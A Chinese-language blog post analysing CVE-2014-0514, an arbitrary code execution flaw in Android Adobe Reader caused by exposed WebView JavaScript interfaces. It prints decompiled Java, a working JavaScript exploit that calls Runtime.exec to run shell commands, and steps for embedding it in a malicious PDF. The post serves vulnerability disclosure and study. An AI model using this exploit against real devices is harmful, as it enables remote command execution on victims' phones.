前幾天老外在fd還有exploit-db上,公布了Adobe Reader任意代碼執行的漏洞。
漏洞編號:?CVE: 2014-0514
AdobeReader安裝量比較大,又和瀏覽器容器不同,分析一下。
Android Adobe Reader 調用webview的不安全的Javascript interfaces。
導致可以執行任意js代碼。具體查看WebView中接口隱患與手機掛馬利用。
影響版本:
理論上Android Adobe Reader 11.2.0之前的版本多存在,Android version 11.1.3成功利用。
我查看了之前的幾個版本例如Android Adobe Reader 11.1.2 如下圖,問題也應該存在。
從反編譯出來的java代碼看
#!java
public class ARJavaScript
{
[...]
???public ARJavaScript(ARViewerActivity paramARViewerActivity)
???{
[...]
??????this.mWebView.addJavascriptInterface(new ARJavaScriptInterface(this), "_adobereader");
??????this.mWebView.addJavascriptInterface(new ARJavaScriptApp(this.mContext), "_app");
??????this.mWebView.addJavascriptInterface(new ARJavaScriptDoc(), "_doc");
??????this.mWebView.addJavascriptInterface(new ARJavaScriptEScriptString(this.mContext), "_escriptString");
??????this.mWebView.addJavascriptInterface(new ARJavaScriptEvent(), "_event");
??????this.mWebView.addJavascriptInterface(new ARJavaScriptField(), "_field");
??????this.mWebView.setWebViewClient(new ARJavaScript.1(this));
??????this.mWebView.loadUrl("file:///android_asset/javascript/index.html");
???}
_adobereader,_app,_doc,_escriptString,_event,_field
這幾個變量都會存在任意代碼執行的問題.
利用代碼和之前一樣。
#!java
function execute(bridge, cmd) {
???return bridge.getClass().forName('java.lang.Runtime')
??????.getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
if(window._app) {
???try {
??????var path = '/data/data/com.adobe.reader/mobilereader.poc.txt';
??????execute(window._app, ['/system/bin/sh','-c','echo \"Lorem ipsum\" > ' + path]);
??????window._app.alert(path + ' created', 3);
???} catch(e) {
??????window._app.alert(e, 0);
???}
}
這里不同是構造 惡意的PDF。
首先需要一個PDF編輯器,比如Adobe Acrobat(flash達人pz推薦).
然后添加表單按鈕或者書簽等,調用事件添加
我這里看了下button最好演示,和老外的那個poc一樣基本上.
導入到android虛擬機里,打開,成功復現。
一些網盤或瀏覽器,看看能否調用adobe reader來預覽pdf的應用可能會存在這個漏洞,大部分應用都是直接下載pdf到本地。可以再測試一些能預覽pdf的郵箱之類的應用。
新版本的Adobe Reader 11.2.0 [email protected]tInterface,老版本的用戶則在adobereader禁用了表單的js執行。 不知道那些殺毒軟件能不能檢測到這些惡意poc呢 :)
附上poc.pdf